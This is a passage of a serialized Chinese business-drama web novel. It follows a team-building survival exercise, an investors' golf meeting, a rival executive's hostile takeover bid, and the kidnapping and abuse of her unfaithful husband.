痛定思痛,三个团队开始学聪明,鸡蛋不能放在一个篮子里,应该把内部十二个人分组。有人负责搭建棚子,有人负责找吃的,有人负责找东西晚上给大家当被子取暖。 尽管是初秋,白天很暖和,晚上气温骤降。 在任务指派后,各自出发想办法解决问题。一天下来,三个团队“住”的问题都解决了。 精英队充分利用柴刀的优势,开劈山路,在山里找到果子,勉强能够温饱。砍回来的茅草和干柴,没有火源,晚上睡觉把茅草盖在身上。这个组幸福指数稍高,虽不尽如人意但相比其他组的狼狈也心满意足。 飞豹队一开始就没往野果子方面去想,因为他们有火源,总想着烧野鸡、烤野鸭,但是很遗憾,山里的野味不少,但野禽早就习惯了丛林法则,各有一套逃生本领,岂是徒手就能抓住的? 纵然有火,也只能饿着肚子,幸好团队成员中,有人捡了不少菌子,放在火上一烤,没滋没味的也算解了饥饿。晚上有火也不至于太冷。 雄鹰队有了鱼网就没进山找食物,在河边费了九牛二虎之力捞上来几斤重的大鱼,鱼是工作组事先准备的,水池不大,但没有网绝对抓不到鱼。 可惜没火、没调料,拿石头各自划开,端到鼻子跟前直反胃。一些人执着的用两块石头相击,学原始人想碰出火星子取火。 一些吃过生鱼片的人,很淡定吃了下去,苦中作乐地说,“鱼是好鱼,少了调料,多了鱼的鲜美。” 有些人饿得实在不行,又吃不下这样的生食,于是悄悄去飞豹队的火堆旁取火。 飞豹队的一个成员发现立即制止,但被其中两个拦着。 等取火的人走了之后,才说:“让他取点,没事。这种处境下,互相体谅。” “那我们呢?谁来体谅我们?你们倒是做好人了,我扮黑脸也是想维护自己的团队。” 在这种争执下,大家很不愉快。有人对晚上的寒冷体验非常惧怕,急中生智,拔来草本植物捆成小支,再将小支草团相连,当成被子盖了一夜。 飞豹队发现团队火堆旁放着雄鹰队送的半条鱼肉。 雄鹰队成员“借”来了火种,烤熟了鱼,一天多的时间,才总算进食裹了腹。 第三天,大家饥肠辘辘,清晨睁开眼睛开始思考今天去哪找吃的。 雄鹰队加大人手捕鱼,一方面想凭唯一的优势,跟其他队换取资源。鱼可以换火种,也能换刀的吧? 可他们打错算盘,精英队的刀随时都在使用,开劈山路寻猎物、寻食物、寻找保暖材料等。 这时候,突然狂风大作,除了精英队用木桩搭建的房子比较稳固,飞豹和雄鹰队的房子全部散了架,材料吹得到处都是。 有几个女队员终于崩溃,失声大哭。大家在风雨欲来的暗沉天色下,苍凉感十足。好在只是雷阵雨,很快就风雨平息了。但四处一片狼藉,吹倒的“屋子”里,衣物和包都湿透,眼看又到太阳西下的时候,连吃的都没解决,更别提住了。 有人拿出烟雾弹,“这个挑战训练我要退出,坚持不下去了。” 第一百四十五章 内部失和 有人立即制止。“我们不能这么快放弃,大家想一想,一定还有办法。” “什么办法?除非资源互换。” 有人马上反应过来,“资源互换!把我们的火源给他们,他们的武器再给我们用,大家各取所需,这个办法非常棒!” 雄鹰队本就有这个意愿,用鱼换火,飞豹队成员刚好也想到这个办法,一拍即合。 精英队自给自足,团队成员同仇敌忾,以胜利者姿态看着两个处于弱势的团队,不愿意交换武器。 好在雄鹰队和飞豹队互相合作,解决了食物的后顾之忧,晚上找石洞挤一挤,也是能熬过去的。 第四天大清早,九月给他们三个组准备了补给食物。按营养专家给的建议,前三天人的机能睡于旺盛,吃的少而杂也不会影响健康,第四天要及时补充营养,以免身体受损。 无人机上投下来一张包着石子的纸条,上书两点:第一,有三份食物,分别为三个队员的阶段奖励,背面是地形图,按地形图就能找到食物;第二,拓展训练考核的标准:各组必须完成“吃、用、住”的挑战,吃:有荤有素有水果;用:锅、灶;住:搭建完整的住房。无人机随时检验成果。 三个代表按照地图上的指示,找到了物资包裹。三条烤大地瓜,三条大长面包,三包火腿,三份食物调料包,还有每人大支矿泉水。 大家把物资均匀分下去,全体狼吞虎咽,大快朵颐的样子让人心酸,咀嚼着平日里最普通的食物,很多人热泪盈眶。 “没有锅,没有灶。” “哪来的荤菜和素菜呢?” 这些问题在吃饱后接踵而至。飞豹队和雄鹰队商量合并队伍的事情,因为在这种处境中,互相协助可以解决很多问题。 两个队合并之后,统一选举原来一个领队主导大局,另外一个领队则做参谋。两个主心骨的力量合并在一起,共同想办法。 “办法总比困难多,一定是能解决的。不要被常规束缚住思维,特殊情况用特殊的材料。没有锅,我们去找薄瓦片,薄石板当成铁板;没有灶我们可以去找石块,再去河边挖点淤泥把缝隙糊上。” 集体的力量大,再加上有人领导,有方向有目标,行动就很快。 有人说在取包裹的地方面有三块薄石板,于是按原来的路线图,果真找到了。此人捡了两块,走不远又折回来,把另一块也带走,送给了精英队。 石板是挑战中的工具,九月特意跟食物包裹放在一起,但没有在纸条上提起,这工具用来替代“锅”。 九月和雷辰光一直在关注三个组的协作,九月说,“通过几天训练,不仅可以帮你筛选出合适的人,还能帮助你判断出哪些人是值得重点培养的,以后能少耗脑细胞。” 雷辰光不禁点头,他心里已经有底了。 合并队又找来稍微平整的石头,搭建了两个灶台。三个女孩说自己能找一些野菜回来,结果不仅找到了一大捆野菜,还找到了很多菌子。 几个精壮点的青年小伙,去找搭建房子的材料。没有刀很不方便。中国小伙就说用石头砍树,只不过速度很慢。其实都想跟精英队去借柴刀,但精英队戒备心太强,不容易接近。 精英队在接到纸条上的挑战任务后,开始后悔当初的傲慢。 仅凭自己团队的资源,显然无法完成这次挑战,只能合作。但是,谁也不好意思向那两个团队开口,毕竟是自己先拒绝他们。 如今只能开源节流,应对这场危机。实际上,山上的果子已经不多了,枝尖上的就算爬上树也摘不到,能找的食物很有限。 每个人从之前的每人每一餐有五个果子,到如今每人每一餐两个果子,节约粮食以维持后面三天的生存。而且连续吃了几天果子,没有半点油水,最后连走路力气都没有了。 “我们不能等着被淘汰。不能就这么认输,得想办法。” “想什么办法?山上有蘑菇,你敢生吃吗?” “当初他们主动要求资源互换,是谁拒绝了?” “谁拒绝?当时你们都不同意,现在推到我一个人身上!” “都别吵了,先想想办法,解决问题。今天至少大家吃了面包、火腿,恢复点力气了。我们要去找材料搭建灶台。 刚才他们能在捡石板锅的时候,为我们也准备一个,说明大家还是关照我们的,到时看能不能借个火种,采摘点蘑菇回来煮熟食,我记得有棵树上还有鸟窝,没忍心去掏。实在没办法的时候,也能当成荤菜。” 这番话平熄了内部的战火,但谁都知道,情况不太乐观,自欺欺人罢了。 正当精英队一筹莫展,飞豹与雄鹰合并队的领队人和副领队出其不意的出现在精鹰团队面前,“如果我们不合作,则三个队没有赢家。” 见精英队成员低头不语,领队人号召三个组成员聚头开会。 把所有成员聚集在一起之后,领头人接着说,“大家发现没有,一开始我们就走入误区。三个组,拥有不同功能的武器,现在想来,正好是解决住房、火源、食物三方面困难的钥匙。如果一开始我们有大局意识,团结在一起,不会有如今这样的处境。 我估计这次拓展训练就是冲着这个主题来的。在公司的时候,大家只顾着维护各自的团队,弃别人的需求而不顾,我们也得不到其他团队的谅解,缺少别人的支持。 如果放在战争中,我们这叫离心离德自找死路。放在公司里,也不利于长期发展。每个团队都有不足,如果我们想进步,就必须团结,结成同盟分享实战经验,可能我遇到的情况你们以后也会遇到,我的团队解决不了的问题,可能你们的团队早就有解了。 如果信息共享、经验共享,而不是团队与团队之间互相消耗,我们的力量就能1+1≥2,实现层级跨越。 另外重要的一点,大家都是为了同一个目标,为什么非得站成不同的阵营互相对抗?我们完全可以统一战线,解决问题,共同成长,大家愉快合作不是挺好吗?用对外界的柔和开放态度,对待身边共事的伙伴,这才合乎情理。” 每个人都开始反思之前的做法,在这次的拓展训练中,切实看到了不懂合作所带来的生存劣势。 人本就是群居动物,靠着互相协作、互相成就才有今天的局面。在职场里,因为各自心中那份好胜心,带动连锁反应,陷入恶性循环。其实每个人都在其间叫苦不迭,却被推着停不下来。如今,这份好胜心开始动摇。 他们开始洗涤以往的固执经验,质疑它的正确性。 第一百四十六章 惺惺相惜恨见晚 反思一轮后,后面的相处就开始亲和很多。在领队的建议下,三个组合为一体,有力气的去砍树建房,没有力气的洗菜,生火,厨艺好的开始用“石锅板”炒菜,有人砍回来竹子,里面的节剔掉、洗干净,把腌制好的鱼放进去,说要做一回新鲜的“爆竹鱼”。有的人则把红薯埋在火灰里,叫做烤地瓜。 九月和雷辰光看了通过无人机传回来的画面,相视而笑。立即吩咐工作人员,等他们吃完这顿饭,就将他们接回来吧,考核结束了。 经过一定期限培训考核后,留下合格的人才输送人才去海外分司。 培训考核当天雷辰光都必须在场,按九月的话来说,“这是公司对培训的重视程度,他们将是分公司的第一批员工,在总部实习结束后就将派往分司。只有看到你足够重视,得到你的认同,他们才会嘣发出潜能和绝对信心,相信自己是老总亲自筛选出来的人才,做事有自主性,也与公司命运共济。” 但看到筛出去的人才,他不禁叹息。“这些真的不行?” 九月笑道:“现在人才难求,如果合适我不会放走。但不适合的人才,宁缺勿滥。现在的投入产出比是较低,但提前筛选出不合格的人,总比给公司捅篓子后再筛选出去要好,那些避免掉的损失就是隐形财富,也是考核产出。” 九月一边执行阶段性项目,另一方面也没落下普世总部的事宜。 提前订了南湾高尔夫场地,再将详情转告双方。 在周六会见当天,木信在公司有事不能来,九月担信尚云身边没带下属,让人看低。便驱车回了一趟宝宁,跟在尚云身后随时听令。 莫诚的车很快出现在视野,后面还跟着一辆。 不出意外的话,那辆车里就是莫诚所说的高人——基克纳的创始人了。 车上下来两个人,两人均是气宇轩昂,跟莫诚微笑交谈向这边走过来。 尚云见二人过来便迎了上去,对方举止谦和有礼,全然不是九月想像中的气势强势令人生畏的具有压迫性的气场。 听到莫诚向双方介绍,九月才知道对面两人一位是基克纳集团董事长张董,一位是基克纳旗下奇思智造贾总。 一行人一起走入高尔夫球场后,九月被莫诚拉住了,她回头道,“你这是做什么?” “让他们去谈事情,我们不用跟上去。”莫诚解释道。 “这样?”九月好奇,但莫诚在生意场上多年,他的话总归是没错的。何况,对方两人均文质彬彬,自己也确实不用担心尚云。 “尚总久经商场,他用不着你这么护着。”莫诚像是看穿着她的心思,话中有话的说道。“走,去换双鞋,教你打球。” “你怎么知道我不会?” “会打球的人会穿高跟鞋来这儿?”莫诚笑笑,“你看他们几个行家,知道这场合适合穿什么着装,还带着自己的装备。” 九月语塞。 尚云跟张董、贾总玩了会儿球,气氛活络了,便在球场稍作休息。 尚云终于问出一个困扰了他很久的问题,微笑问道:“为何会如此相信一个从未谋面的人?” 张董和贾总相视而笑,张董说道:“我们并不是第一次见面。” “原谅尚某眼拙,竟一点印象也没有。” 贾总朗声一笑:“五年前,在回国的飞机上你就坐在我邻座,中间隔着通道。你拿着外套,手里打着电话从我身边走过,外套衣角扫落了我手上那本《了凡四训》。 你本来已经落坐,但发现后又立即起身帮我捡书。一般人可能道声‘不好意思’也就罢了,但你却道声“抱歉”之后亲手捡起,交还给我。当时张董就坐在旁边,那是我们三人第一次见面。” 尚云仔细回想,记忆较为模糊,经他提起便记得有这个印象。 贾总又继续道:“第二次是在媒体上。那时你在金仕集团时,接受过一次采访。那段采访视频让我印象深刻,我转发给张董,张董说识人以微,以微见着。从那时起,张董便开始关注金仕集团,直到你创业后,又关注普世公司。”说完看看张董。 张董点点头,接过话头说道:“没错。采访记者问你,‘十七岁就被金仕聘请为幕后操盘手,十八岁正式入职金仕,几年便将金仕起死回生扶摇登顶,你是如何做到零基础、零经验一上手就稳操胜券的?’” “当时你的回答很精彩。你说:‘您这样问,我非常担心各界人士会将我神化,给社会带来不好的引导。没有突如其来的成功,也没有不费吹灰之力便在任何领域里有所成就的人。在入职金仕集团以前,我阅读量达到一定程度,研究前人创业经营成功与失败原因,总结出一套自己的理念。又在心里模拟创业千次万次。 金仕集团正好提供契机,实现了我第一万零一次创业。对于“创业”千万次的人来说,这样的成绩实在不值一提。何况,凭借一个人的力量是无法成就伟大事业,我身后有一支高凝聚力、高执行力的团队,真正了不起的是他们。’” 听张董和贾总提起这些往事,仿佛发生在昨天。 尚云心里隐隐担忧彻底放下。 张董继续道:“那时你离开金仕集团创办普世,我就在想,有如此心性品德之人,创办的企业也绝非纯粹追求功名,更非为了俗世之利。事实证实了我的猜测准确,你的经营理念正是‘不以盈利为最终目的’,普世文化也这几年坚守的原则和真心服务,帮助很多企业扭转颓势。尚总是个有理想有情怀的人,木秀于林风必摧之,今天这样的局面即在意料之中,又深感遗憾。岂有袖手旁观之理?” 尚云有所触动,眯着双眼,迎风看着远方,“张董说的对,创立普世是奔着改变世界的巨大梦想去的。人类经过漫长的演化过程,理应进入高级文明,我们有理由也有能力,创造出一个与大自然相辅相成的独立规则,减少或杜绝伤害便能衣食无忧永葆太平,尤其如今科技日益发达,完全有条件为世人创造更理想的环境。 然而,人类却卡在这一环,恶性循环,痛苦不堪。理想太过完美,在现实中却有千险万难,不易实现。基克纳集团所做的事业——“为人类健康所做的努力”,才真正是惠及万家,已经落到实处。对于基克纳带给世人的利好,普世文化目前成就实在不值一提。” 三人默契地想到一些难以逾越的现状,均陷入沉思。 良久,贾总沉吟道:“话不能这么说。我们还是要相信‘相信’的力量。尽管难,但值得尽力一搏。基克纳集团旨在改善世人身体健康,而普世则立志于世人精神追求和文明健康。这是繁盛时代的世人所忽略的,却是最重要的。我们相信相比如今的虚假狂欢表面繁华,普世文化可以给未来构建一个从内而外透出亮光与生机的真正繁荣世界。” 见尚云心事重重,张董也说道:“对,世界大同,不要局限在境内。我们会尽全力助普世一臂之力,包括资金投入和海外资源。所以,现在对普世来说反而是一个最好的转折点。” 尚云见他话中有话,便敛神洗耳恭听:“还请张董指点迷津。” 第一百四十七章 小竺怒闯普世公司 张董谦虚一笑:“指点不敢,一点小小的建议。海外企业,更需要你这套文化逻辑,约束与阻力也会更小。企业分国界,但企业之间的影响不分国界,尤其全球化概念誔生以来,全球企业相互融合,互相学习,互相作用。 况且,我从你的logo标志与企业组织结构来看,明白你的布局起点本就有宏大的规格,战场不限于境内,而是全球。只是目前突如其来的阻力打乱计划,那不如调整策略和战术。 你是专业做这行,比我更清楚,文化在企业中起作用需要一段时间。如今你在国内很多企业中已播下种子,在种子长成参天大树之前,你应该聪明离开一段时间,时间会站在你这边。” 尚云听完张董这番有见地的话,由衷说道:“其实我这几天也反复思考过,只是在资金方面捉襟见肘,被困于浅滩动弹不得。既然张董与贾总诚心相助,那这个问题就迎刃而解了。心中感恩,无以言表。” 大事谈妥,三人俱是神情轻松。 三人又说说笑笑,在球场角鹿几回,直到九月安排好酒店用餐来电请示,方才退出高尔夫球场。 茶余饭后,送走二位贵人,九月也与尚云告别,她在海量公司的项目正如火如荼展开,任聪虽然上道,但还不能独立决策,处处需要她在场指导。 尚云则想着又要开始规划普世接下来动作,接下来要重新启动忙碌状态,便也无心闲聊。 两人各自开车离开。 尚云刚回到普世,电话铃就响了。他以为是九月来电话了,拿出手机一看,竟是箫小竺打来的。这还是最初“巧遇”——开车差点撞到她——那次存的号码。 他眼神冷了冷,挂断电话。 对方似乎不死心,又拨了过来。他直接开启静音模式。 自从箫小竺手上有了母亲琳达转给她的股权,便光明正大的登上了雷默董事长位子。琳达前脚刚走,她后脚就上位,实在充满戏剧性。 她知道,自己若是不能做出一点成绩来,恐怕也难让董事会真正臣服。 因此,在林作杰的帮助下,她顺利上任,做的第一个计划便是要吞并普世公司。 她心里明白,克普公司虽是行业龙头,也只不过是纸老虎,声势浩大,专业实力相比普世而言还相差甚远。 在业务服务上,克普公司讲究“短平快”,优势在于有一套诊断评估表。采用西方模式的数据化,规范化,标准化,顾问成员之间不需要太多的磨合和默契,就能随便组合成一个团队去客户那里解决问题。 劣势也很明显:用量化诊断出来的病症,找到相对应的标准答案作为解决方案。并没有深入了解文化,而是在企业表面病症上下功夫,解决方案自然也针对一系统症状,消除症状其实很快。 所以用时短,见效很快。 忽略了每一个客户都是个案,问题深浅不一,轻重不一,有时诊断标准的界限也没那么清晰,这样的量化像一刀切,容易出现误诊。 针对企业病症进行解决,通常是刚解决完,客户又出现其他的病症,于是随机组合的团队又用同样的手法去给客户解决第二次问题。 头痛医头,脚痛医脚,企业各个环节都轮翻折腾一番后,始终没解决最根本的原因。 都知道克普公司的强大背景,客户敢怒不敢言,只得客客气气的来咨询解决办法。 除此之外,克普公司自身的组织结构也较为多变,机构臃肿,大多数重要岗位是各股东们安插进来的人,这些人能力欠缺,不干实事,但手握实权。 真正有实力的人进入公司不久便离职,不是觉得前途渺茫永无出头之日主动离开,就是被“自己人”排挤出局,留下者人人自危,出于自保,无人敢放开拳脚较真冲事业,守住自己岗位的一亩三分地里草草耕耘。 这样的局面并非是有了雷霆手段便能管理好,也不是打压了对手就能让自己飞天,毕竟这是一家专业咨询管理公司,要靠实力去为客户解决问题、创造收益的。 专业方面,琳达也并不在行,但至少从管理层面来说,琳达的方向是对的。 她之前的方案就是针对克普的业务水平和专业实力做调整,并且高薪从行业里挖来一些还算专业人才。但是随着她离职,那些脚跟没站稳的新入职人才也都相继离开了。 箫小竺没有琳达那样的策略和方向,她能做的就是将目光瞄准普世,要么趁火打劫去挖普世的蓝鲸团队;要么擒贼先擒王,趁普世走投无路将尚云收入网中。 据东维恺告诉她,蓝鲸团队更偏重执行,真正厉害角色是蓝鲸三位总监,从诊断到解决方案以及管理执行团队都是一把好手。 但是,他们三人刚刚升迁,很有可能下一步就要分管分公司,至少三位总监中有一位已经在建立分公司,普世的员工忠诚度太高挖不动,要挖他们更是难于上青天。 尚云非池中之物,绝然不会束手就擒。 所以,她抓住尚云重情重义的弱点,以众多员工的出路和普世的恢弘理想为筹码,让尚云带着整个普世公司一起并入雷默旗下。 他仍然可以做普世的头领,一切维持现状,只是将普世的所有权改成雷默。 此时,尚云压根连她的电话都不接,气得七窍生烟。 “山不来就我,我就去就山。”小竺冷哼一声,自言自语道。 拿了包,驱车直往普世公司疾驰而去。 这天是周六,普世公司业务受挫提前进入淡季,因此进行轮休制,有一半人休假。蓝鲸团队两层办公楼空荡荡的,要么出差,要么去猎寻客户。几乎全体出动在外驻扎。 小竺进入普世前台时,被拦住了。 “我找你们尚总。” “您贵姓?有预约吗?我好帮您通报一声。” “没有。” “对不起,没有预约是不能直接面见的,尚总每天日程都有安排的。” “他现在有的是时间,谁都知道普世公司经营惨淡,朝不保夕,在我面前装什么装?”不耐烦说着,小竺直接就往办公区域走。 前台阻拦不住,只得打电话给关之洁。关之洁接到电话,便打电话请示尚云,谁知尚云风清云淡地吩咐,“没事,让她进来。” 关之洁挂了电话,东维恺正端了杯咖啡进来,“谁呀?” “给尚总打电话,听前台说有位气势汹汹的人找尚总。” “尚总怎么说?” “见!” 东维恺莞尔一笑,“那你这边按程序走就行了,不用费心去劝阻。来,给你煮了杯咖啡,你上午不是说昨晚没睡好吗,现在尚总过来了,你就得打起精神来。” “谢谢你维恺。好贴心。” “我们之间说谢,就太见外了。今天周六了,下班后咱们老地方见?”东维恺调皮的眨了眨单眼。 关之洁脸上浮现羞涩的笑容,“在上班呢,不聊这些。” 抬起眼睑时看到门口面色铁青的女子,脸上的笑容突然僵住,立马浮现职业性的笑容,迎过去:“您好!请问找哪位?” 东维恺下意识转身,脸上柔和的神情瞬间变了色。 第一百四十八章 尚云对峙箫小竺 女子盯着二人良久,方阴冷着一张脸,沉声说道:“我找你们尚总。” 关之洁只觉此人戾气很重,听着她说话自己后背发凉。秀眉微颦,说道:“请这边来。” 小竺走进董事长办公室,皮笑肉不笑:“尚总在忙什么呢?没打扰你吧?” 尚云头也没抬,靠在椅子上捧着一本书,正目不转睛地看书。听到她这声音,不急不徐地阖上书,放置一旁:“明知打扰,你不也进来了吗?” “我真是佩服尚总的定力,眼见普世这番光景,还有心思在办公室看书。要是我,”小竺摇摇头,走到沙发前坐下:“一定坐卧难安。” “听箫小姐的意思,我现在就应该表现出焦虑痛苦的模样,满足你胜利者的优越感。”尚云也走过来,坐在另一端的独立沙发上。 “何必句句带刺?我们之间全然可以坦诚相见,我也不喜欢绕圈子,一句话,今天我来见你是因为双方有利可图,普世也可以恢复往日荣光。就看你是否能抓住机运。” 这时,关之洁敲门进来,端了一壶刚泡好的茶,给两位倒好茶后准备离开。 小竺脸色立即转变,一双阴翳的眼睛在她身上盘旋,幽幽说道:“我不喜欢喝茶,听说尚总这里的咖啡特别好喝,我想尝尝。” 关之洁尴尬地站在那,尚云朝她扬了扬下巴,意思是依了她。 “您稍等。”说完便出去了。 “箫小姐,这是在普世,不是克普。我的员工都是我捧在手里的,还请箫小姐要给我个面子,莫要错越雷池。”尚云喝了口茶,言语中微带警醒。 小竺对他的警醒不以为意,趁机转入正题:“我倒是希望普世就是克普,两家成为一家。不知道尚总有没有这个意愿。” 尚云嘴角微抿,不置可否。 她便娓娓道来:“克普在这个领域里已经被公认龙头老大,而普世虽然精悍却弱在无人扶持。如果雷默出资收购普世,你目前面临的所有难题就都不复存在。要资源有资源,要资金有资金,你仍然可以统领骑下挥斥方遒,甚至可以将克普也交由你去管理。你完全可以按照之前的规划往前走,去实现你的野心,雷默会成为你的强大后盾。” 尚云笑不及眼底,“确实让人心动。” 小竺一时分辨不出来他是真的认同,还是当成笑话。 “你这么做又不亏,员工和公司你都保住,不费一兵一卒便能快速解决危机,我可以保证你会走得比以往要顺遂,比你想像中走得更高更远。你如果不信任我,我们可以立下字据,找律师公证。我这么诚心想与你合作,你意下如何?” 尚云面色微冷。又喝了一口茶,气定神闲地说道:“箫小姐,你很聪明。先是动用商会的力量将普世逼入绝境,再充当天使向我们伸出援手,让全体普世员工匍匐在你面前感恩戴德。我劝箫小姐莫要自作聪明,夜路走多了总会撞见鬼。” 小竺气得七窍生烟,腾地站起来:“尚云,你不要太过分!我话已经说到这份上了,你若是这么不识抬举,那就等着自取灭亡!” 尚云也站了起来,冷声道:“过分的恐怕是箫小姐!你若是将我放在眼里,不至于在我公司如入无人之境;你若是尊重我,不会在我面前刁难我的员工;你若是将我当成一个合作伙伴,就不会打断腿再送我一副拐杖!慢走不送!” 小竺哑口无言,冷哼一声,拿了包气冲冲朝门口走。 正巧关之洁端了咖啡来,两人差点撞了个正着,关之洁脚下连退三步,箫小竺一双毒辣的眼睛,狠狠瞪着她足足两三秒,说道:“希望你别后悔!” 这句话不知是对尚云说的,还是对关之洁说的,说完便拂袖而去。 下班后,心神不宁的东维恺对关之洁说道,“今天晚上我有事,改天再约。” “你面色不太好,身体不舒服?” “呃,对……” “那陪你去看看医生?” “不用了,我回去休息就行。”东维恺推辞道。 一路踩油门回了家,发现家里没人。东维恺正纳闷,有人敲门,他以为是小竺。门甫开就从外面进来几个壮汉,摁住他朝外走。 他惊恐道:“你们要干什么?” “老板让你去个地方。”其中一人说道。 “是尚总?不对,是箫小竺?”东维恺慌张地问。 “去了你就知道。”这帮人把他塞进一辆加长豪车,有人用黑布蒙上他的眼睛,几人上车后便悄无声息离开这座城市。 “你们知道我是谁吗?我是箫小竺的丈夫!” “你们别想动我,我要见她。” “我要见箫小竺,我有重要的话要对她说。” 他絮絮叨叨地说个不停,坐在副驾驶的人皱了皱眉,“太吵了。” 坐在东维恺旁边的人,立即会意。用一块染了黄色液体的白色方布捂住他的鼻子,只消片刻,东维恺便昏迷不醒。 不知道过了多久,东维恺被一栋冰水从头水浇下,他“啊”的一声惊叫醒了过来。 眼前很暗,像是地下室。 良久,他适应了黑暗,透过一前一后两盏昏暗的夜灯,看清楚自己身处的环境,确实是地下室,不过这更像是一条长长的暗甬,前面很黑看不清暗甬有多深。 “醒了就走吧。”身边站着两个壮汉。 左边一人拎着他湿漉漉的衣领将他提了起来,他腿脚发软,但还是站稳了。 被他们携带着走过暗甬,穿过一个地下室的侧室,这里空无一人,显得阴森而空旷。 接着灯火通明,他停在一间小房前止步不前。 “走啊!”后面的人推搡着让他走,不知是因为冷,还是害怕,抖得厉害。 只见这间小房,跟前面的侧室要稍大一起,但都是一样的布局。 空气里弥漫着血腥味,像屠宰场一样的气息。时不时能看到手术刀和发锈的金属钢架,和一些铺在钢板上的蓝色、白色的布。布上沾满了血迹,新旧交替。 东维恺在电视中见过不少残忍杀戳,只是身临其境看到这样的场景时,浮想联翩,心底泛寒。 好在,穿过几间这样的房子,就到了稍微正常一点的地方,他们搭乘镂空结构的电梯,他看到电梯显示,刚才的地方处于负三楼,总共十层,而现在他们去的是地面一楼。 一楼放置各瓶透明玻璃容器,有不少各色液体。他喉结滚动,心跳得怦怦作响。 两个壮汉将带到一间布置温馨时尚的房间,他们欲脱下他的衣物,东维恺狼狈地拒绝配合,疯了一样的抱住双臂缩在地上不让他们得逞。 这时,房间里进来一个人,轻轻说,“你们下去吧。” 第一百四十九章 东维恺被绑架 东维恺回头,看到小竺一脸冷漠地站在那儿。他起身,“小竺,你想做什么?小竺,我是你的丈夫,你不顾及旧情了吗?” 小竺在一个柔软独立的沙发中坐下,点燃一支烟,静静的抽着。 房间里的灯光有各种颜色,唯独没有明亮色。这些灯光交集投在她脸上形成暧昧不清的神情,他看不懂小竺在想什么,是什么表情。 他扑通跪在她面前,“小竺,我知道错了。我错了,我错了。你别这样。” 小竺朝他吐出烟圈:“你知道的,我从不说‘没关系’,在我这里有个规矩,错了就承担后果,别道歉,没用。” “你想要我怎么做?小竺,我心里是爱你的,真的,我那是获取她的信任,尚云和木信从不让我参与相关的会议,也不会将重要的决策和指令从我手上过,我得不到任何有用的信息给你。我只能想这个办法。” 她笑容充满魅惑,“这样啊,那我错怪你了?”涂着黑色指甲油的手指捧着他的脸。 东维恺不敢接话,跪在地上惊惧地望着她。 “你这张能说会道的嘴,如果我不是亲眼所见你们之间的浓情密意,我几乎要信以为真。”她轻轻笑道,温柔地道:“张开嘴啊。” 东维恺迟疑,不知道她要做什么。 “张开嘴。”她又说道,眉毛挑了挑,有趣地看着他。 他在她的催促下张开嘴,她抽了一口烟,腥红的烟头亮了一下,下一秒便在他舌头上捻熄。东维恺痛苦叫了一声,眼泪都出来了,僵直着舌头说不出话来。 “所有人都可以不站在我这边,唯独你不行。”她托着他的嘴,瞧着他的伤口,眼睛里似乎有心疼和难过。“你知道我为什么选择你吗?因为你身上散发着温暖吸引了我。我们在酒吧相识,相知。你总是在我喝醉酒被人欺负时挺身而出,在我心情不好时讲幽默段子,在我无聊寂寞时你再忙也会放下手头的事来陪我。 我以为你的温暖独属于我,从没想过会有人来分享。 我对任何人不抱期望,唯独你啊,我想过此生此世都要跟你在一起。既使父亲反对我也义无反顾。你做不到一生一世,为什么当初要给我幻想?做不到专情一生,为什么还要许诺永远爱我?” 东维恺闭了闭眼睛,听到她起身的动作,他立即睁开双眼,警觉地盯着她。 没想到她扶起他,像什么事都没发生过,握住他双手道:“你说的对,你是我丈夫啊。我怎么能这么对你,要说错,也该是那个女人的错,不该诱惑你,不该惹到我头上来。” “不......”东维恺发出含糊不清地低吼,脸色煞白。 “你担心她?”小竺笑容灿若夏花,眼里却噙满泪,“你在这样的恐惧下,还在担心她的安危。你这样子就不怕我伤心吗?” 东维恺猛烈摇头,口齿不清地重复:“不......” 小竺脱下他的湿衣服,比以往任何时候都要贴心:“好了,不说了。换掉湿衣服,去洗澡,你这样会感冒的。” 当天晚上,像平常一样宁静,东维恺陪着小竺就在这里过夜。他一夜未眠,睁着双眼一瞬不瞬地盯着天花板上的彩灯。 脑海里不断回想自己看到的那些场景,很担心关之洁的安危,也担心自己的处境。 他并不是不知道小竺向父亲死缠烂打要来的一门生意,是隐晦不宣的。她曾坦率跟他透露过一些细枝末节,但他从来不以为意。 他曾经以为了解小竺,阳光下,她有一副极率真的脾性,极骄横坦率的个性。把那些隐晦的东西告诉他,足以证明她单纯的一面。 今天看到她阴狠复杂极具城府的一面,极具侵略性和独占欲的一面,谈笑间就能捏住他人的命脉,柔情中含有杀机。 分不清哪个才是她,都那样真实。正是如此,他才感到害怕。 舌头隐隐作疼,咽口水会牵动到舌头肌肉,每吞咽一次,舌头就一阵尖锐疼痛。 他不知道,这样的痛苦,今天只是一个开端。 见小竺睡得很沉,他悄悄起床。拿了手机进了洗手间。他担心关之洁会打来电话或是发信息给他,便将她的微信拉黑,电话拉黑。 又给九月发了一条信息,“九月,麻烦转告之洁平日出去注意安全,也希望公司能保护她的安危。” 一会,九月的电话便回了过来。洗手间密闭的空间里,在静谧的夜里铃声尤其刺耳。 他吓得赶紧将电话接通,以杜绝铃声继续喧嚣。侧耳聆听屋里没动静之后才拿着电话贴近耳边。 “怎么回事?东维恺,我不明白你这句话什么意思?”电话里传来九月的疑问。 他舌头受伤,说话含糊不清,怕九月生疑,便将电话挂断,设置成静音。 然后发信息给九月:“我不方便跟你解释,你照做就行了,我没骗你。” 九月迅速回道:“为何你不亲自跟她说?你一直有她的电话和微信。” “我不方便。”他又重复一次。 “你在哪?” “在家。”东维恺说道,“你就当帮我,以后有机会我再跟你解释。” “你的意思是,你离职了?” “对。不要给我打电话,不方便接。” 那边终于没有再回信息过来。东维恺立即将信息全部删掉,装作上厕所,按了抽水马桶,躺回床上。 小竺侧身躺在另一侧,眼睛却是睁开的。 身在姜城的九月盯着手机屏里的聊天记录,皱眉陷入沉思。 一会,她给尚云发了一条语音:“睡了吗?” “没有。你也没休息?” “在看书生写的第三阶段实施计划,白天没时间看。这群小朋友进步很快。”他们跟她也相差不了几岁,但在九月眼里,他们确实比较稚嫩。 尚云发了个愉悦的表情包给她,“强将手下无弱兵。” 九月回了一个表情:“彼此彼此。”并将东维恺的发给她的信息截屏转发给尚云。 这次,尚云只回复三个字,“知道了。” 过了一会,又补发了一个“早点睡”的表情包过来。 九月伸了伸懒腰,关了电脑。 他们几人的房间,都是用木板为墙隔开的。因此,老欧和干周两人鼾声如雷,轮翻起伏,九月也渐渐习惯了。累到快散架时,倒头就睡,哪里还讲究这些。 实在不行,她就戴着耳机放音乐,躺在床上不知不觉就睡着了。 海量的项目渐渐要结束了,接下来最后一个项目即是给他们量身定做一套宣传资料。在语言不通的地域,唯有音乐不分流域。 